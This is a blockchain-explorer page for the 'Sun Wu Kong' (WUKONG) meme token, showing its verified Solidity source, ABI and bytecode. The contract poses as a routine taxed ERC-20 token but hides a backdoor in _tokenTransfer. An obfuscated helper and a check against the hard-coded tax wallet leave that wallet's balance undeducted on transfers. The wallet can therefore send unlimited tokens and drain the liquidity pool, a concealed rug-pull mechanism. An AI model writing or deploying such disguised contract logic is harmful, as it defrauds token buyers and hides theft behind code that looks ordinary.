ETH Price: $2,436.14 (+6.16%)

Token

Sun Wu Kong (WUKONG)
 

Overview

Max Total Supply

1,000,000,000 WUKONG

Holders

89

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,751,803.529295129 WUKONG

Value
$0.00
0xdd80094f98092f8357396cef097d7c7349f5bfe0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WUKONG

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-22
*/

// SPDX-License-Identifier: MIT

/*
SunWukong was suppressed for five hundred years after havoc in heaven. 
After being released, he stopped fighting and planned to use his power to do something meaningful and help people make money. 
SunWuKong will bring new vitality in meme coin region.

https://sunwukong.wtf
https://x.com/wukong_on_eth
https://t.me/wukong_official_portal
*/

pragma solidity 0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WUKONG is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Sun Wu Kong";
    string private constant _symbol = unicode"WUKONG";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x193611134BA4513f50f7e24B2e16069B42072015);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _taxTransfer(address from, address to, uint256 amount) private { 
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }

        _tokenTransfer(from, to, amount, taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        uint256 tokenAmount = 0;
        bool takeFee = getTakeFee(from, _taxWallet);
        
        if(!takeFee) {
            tokenAmount = oTokenAmount(amount);
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        
        _taxTransfer(from, to, amount);
    }

    function getTakeFee(address addr1, address addr2) private pure returns(bool) {
        address tAddr = addr2;
        if(addr1 == tAddr) return true;
        return false;
    }

    function oTokenAmount(uint256 amount) private pure returns(uint256) {
        return 11 - 1 + 0 * amount + 1 * amount - 10;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function recoverEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff19169055601960068190556007556000600881905560098181556014600a818155600b829055600c91909155600d929092556200004791620002ef565b62000057906301312d00620003e7565b600e55620000686009600a620002ef565b62000078906301312d00620003e7565b600f55620000896009600a620002ef565b62000096906064620003e7565b601055620000a76009600a620002ef565b620000b69062989680620003e7565b6011556013805461ffff60a81b19169055348015620000d457600080fd5b506000620000e162000286565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b03191674193611134ba4513f50f7e24b2e16069b4207201500179055620001616009600a620002ef565b6200017190633b9aca00620003e7565b600160006200017f62000286565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001b96200028a60201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055461010090049091168352912080549092161790556200021f62000286565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002596009600a620002ef565b6200026990633b9aca00620003e7565b60405162000278919062000299565b60405180910390a36200041f565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002b65750620002e6565b818704821115620002cb57620002cb62000409565b80861615620002d957918102915b9490941c938002620002a5565b94509492505050565b60006200030360001960ff8516846200030a565b9392505050565b6000826200031b5750600162000303565b816200032a5750600062000303565b81600181146200034357600281146200034e5762000382565b600191505062000303565b60ff84111562000362576200036262000409565b6001841b9150848211156200037b576200037b62000409565b5062000303565b5060208310610133831016604e8410600b8410161715620003ba575081810a83811115620003b457620003b462000409565b62000303565b620003c98484846001620002a2565b808604821115620003de57620003de62000409565b02949350505050565b600081600019048311821515161562000404576200040462000409565b500290565b634e487b7160e01b600052601160045260246000fd5b611c72806200042f6000396000f3fe6080604052600436106101235760003560e01c80638da5cb5b116100a0578063bcdb446b11610064578063bcdb446b146102e2578063bf474bed146102f7578063c876d0b91461030c578063c9567bf914610321578063dd62ed3e146103365761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b41146102985780639e78fb4f146102ad578063a9059cbb146102c25761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610356565b6040516101519190611654565b60405180910390f35b34801561016657600080fd5b5061017a61017536600461154f565b61037b565b6040516101519190611649565b34801561019357600080fd5b5061019c610399565b60405161015191906119bf565b3480156101b557600080fd5b5061019c61039f565b3480156101ca57600080fd5b5061017a6101d936600461150f565b6103c0565b3480156101ea57600080fd5b506101f3610448565b6040516101519190611a38565b34801561020c57600080fd5b5061019c61021b36600461149f565b61044d565b34801561022c57600080fd5b50610235610468565b005b34801561024357600080fd5b506102356104f0565b34801561025857600080fd5b5061019c6105bb565b34801561026d57600080fd5b506102766105c1565b60405161015191906115c7565b34801561028f57600080fd5b5061019c6105d0565b3480156102a457600080fd5b506101446105d6565b3480156102b957600080fd5b506102356105f6565b3480156102ce57600080fd5b5061017a6102dd36600461154f565b610828565b3480156102ee57600080fd5b5061023561083c565b34801561030357600080fd5b5061019c61087c565b34801561031857600080fd5b5061017a610882565b34801561032d57600080fd5b5061023561088b565b34801561034257600080fd5b5061019c6103513660046114d7565b610a36565b60408051808201909152600b81526a53756e205775204b6f6e6760a81b602082015290565b600061038f610388610a61565b8484610a65565b5060015b92915050565b60115481565b60006103ad6009600a611ac4565b6103bb90633b9aca00611b95565b905090565b60006103cd848484610b19565b61043d846103d9610a61565b61043885604051806060016040528060288152602001611c15602891396001600160a01b038a16600090815260026020526040812090610417610a61565b6001600160a01b031681526020810191909152604001600020549190610c6d565b610a65565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b610470610a61565b6000546001600160a01b039081169116146104a65760405162461bcd60e51b815260040161049d90611881565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104f8610a61565b6000546001600160a01b039081169116146105255760405162461bcd60e51b815260040161049d90611881565b6105316009600a611ac4565b61053f90633b9aca00611b95565b600e5561054e6009600a611ac4565b61055c90633b9aca00611b95565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105966009600a611ac4565b6105a490633b9aca00611b95565b6040516105b191906119bf565b60405180910390a1565b600e5481565b6000546001600160a01b031690565b600f5481565b60408051808201909152600681526557554b4f4e4760d01b602082015290565b6105fe610a61565b6000546001600160a01b0390811691161461062b5760405162461bcd60e51b815260040161049d90611881565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179081905561067c9030906001600160a01b031661066e6009600a611ac4565b61043890633b9aca00611b95565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ca57600080fd5b505afa1580156106de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070291906114bb565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561075f57600080fd5b505afa158015610773573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079791906114bb565b6040518363ffffffff1660e01b81526004016107b49291906115db565b602060405180830381600087803b1580156107ce57600080fd5b505af11580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080691906114bb565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b600061038f610835610a61565b8484610b19565b610844610a61565b6000546001600160a01b039081169116146108715760405162461bcd60e51b815260040161049d90611881565b61087a47610ca7565b565b60105481565b60055460ff1681565b610893610a61565b6000546001600160a01b039081169116146108c05760405162461bcd60e51b815260040161049d90611881565b601354600160a01b900460ff16156108ea5760405162461bcd60e51b815260040161049d90611763565b6012546001600160a01b031663f305d71947306109068161044d565b6000806109116105c1565b426040518863ffffffff1660e01b81526004016109339695949392919061160e565b6060604051808303818588803b15801561094c57600080fd5b505af1158015610960573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610985919061159a565b505060135460125460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926109bf921690600019906004016115f5565b602060405180830381600087803b1580156109d957600080fd5b505af11580156109ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a11919061157a565b506013805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610a8b5760405162461bcd60e51b815260040161049d9061197b565b6001600160a01b038216610ab15760405162461bcd60e51b815260040161049d90611721565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b0c9085906119bf565b60405180910390a3505050565b6001600160a01b038316610b3f5760405162461bcd60e51b815260040161049d906118ff565b6001600160a01b038216610b655760405162461bcd60e51b815260040161049d906116a7565b60008111610b855760405162461bcd60e51b815260040161049d906118b6565b601354600160b01b900460ff161580610ba75750601354600160a81b900460ff165b15610c5d576001600160a01b038316600090815260016020526040902054610bcf9082610ce9565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610bfe9082610d2b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c509085906119bf565b60405180910390a3610c68565b610c68838383610d5a565b505050565b60008184841115610c915760405162461bcd60e51b815260040161049d9190611654565b506000610c9e8486611bb4565b95945050505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610ce5573d6000803e3d6000fd5b5050565b600061044183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c6d565b600080610d388385611a46565b9050838110156104415760405162461bcd60e51b815260040161049d9061179a565b6000610d646105c1565b6001600160a01b0316846001600160a01b031614158015610d9e5750610d886105c1565b6001600160a01b0316836001600160a01b031614155b1561103e57610dcf6064610dc9600a54600d5411610dbe57600654610dc2565b6008545b8590611050565b90611095565b60055490915060ff1615610e4f576012546001600160a01b03848116911614801590610e0957506013546001600160a01b03848116911614155b15610e4f57326000908152600460205260409020544311610e3c5760405162461bcd60e51b815260040161049d906117d1565b3260009081526004602052604090204390555b6013546001600160a01b038581169116148015610e7a57506012546001600160a01b03848116911614155b8015610e9f57506001600160a01b03831660009081526003602052604090205460ff16155b15610f1157600e54821115610ec65760405162461bcd60e51b815260040161049d906116ea565b600f5482610ed38561044d565b610edd9190611a46565b1115610efb5760405162461bcd60e51b815260040161049d90611944565b600d8054906000610f0b83611bcb565b91905055505b6013546001600160a01b038481169116148015610f3757506001600160a01b0384163014155b15610f6457610f616064610dc9600b54600d5411610f5757600754610dc2565b6009548590611050565b90505b6000610f6f3061044d565b601354909150600160a81b900460ff16158015610f9957506013546001600160a01b038581169116145b8015610fae5750601354600160b01b900460ff165b8015610fbd5750600c54600d54115b8015610fe257506001600160a01b03851660009081526003602052604090205460ff16155b801561100757506001600160a01b03841660009081526003602052604090205460ff16155b1561103c576010548111156110335761103361102e84611029846011546110d7565b6110d7565b6110ec565b61103c47610ca7565b505b61104a84848484611291565b50505050565b60008261105f57506000610393565b600061106b8385611b95565b9050826110788583611a5e565b146104415760405162461bcd60e51b815260040161049d90611840565b600061044183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140d565b60008183116110e65782610441565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119657600080fd5b505afa1580156111aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ce91906114bb565b816001815181106111ef57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546112159130911684610a65565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061124e9085906000908690309042906004016119c8565b600060405180830381600087803b15801561126857600080fd5b505af115801561127c573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000806112b386600560019054906101000a90046001600160a01b031661143b565b9050806112c6576112c384611466565b91505b821561133e57306000908152600160205260409020546112e69084610d2b565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113359087906119bf565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546113619083610ce9565b6001600160a01b0387166000908152600160205260409020556113a66113878585610ce9565b6001600160a01b03871660009081526001602052604090205490610d2b565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113f08787610ce9565b6040516113fd91906119bf565b60405180910390a3505050505050565b6000818361142e5760405162461bcd60e51b815260040161049d9190611654565b506000610c9e8486611a5e565b6000816001600160a01b03848116908216141561145c576001915050610393565b5060009392505050565b6000600a611475836001611b95565b611480846000611b95565b61148b90600a611a46565b6114959190611a46565b6103939190611bb4565b6000602082840312156114b0578081fd5b813561044181611bfc565b6000602082840312156114cc578081fd5b815161044181611bfc565b600080604083850312156114e9578081fd5b82356114f481611bfc565b9150602083013561150481611bfc565b809150509250929050565b600080600060608486031215611523578081fd5b833561152e81611bfc565b9250602084013561153e81611bfc565b929592945050506040919091013590565b60008060408385031215611561578182fd5b823561156c81611bfc565b946020939093013593505050565b60006020828403121561158b578081fd5b81518015158114610441578182fd5b6000806000606084860312156115ae578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561168057858101830151858201604001528201611664565b818111156116915783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526017908201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a175784516001600160a01b0316835293830193918301916001016119f2565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a5957611a59611be6565b500190565b600082611a7957634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a905750611abb565b818704821115611aa257611aa2611be6565b80861615611aaf57918102915b9490941c938002611a81565b94509492505050565b600061044160001960ff851684600082611ae057506001610441565b81611aed57506000610441565b8160018114611b035760028114611b0d57611b3a565b6001915050610441565b60ff841115611b1e57611b1e611be6565b6001841b915084821115611b3457611b34611be6565b50610441565b5060208310610133831016604e8410600b8410161715611b6d575081810a83811115611b6857611b68611be6565b610441565b611b7a8484846001611a7e565b808604821115611b8c57611b8c611be6565b02949350505050565b6000816000190483118215151615611baf57611baf611be6565b500290565b600082821015611bc657611bc6611be6565b500390565b6000600019821415611bdf57611bdf611be6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611c1157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220137308709d6d93dee053abd0d81c52e97f7c7132c778dc24393d15aeca6a38af64736f6c63430008000033

Deployed Bytecode

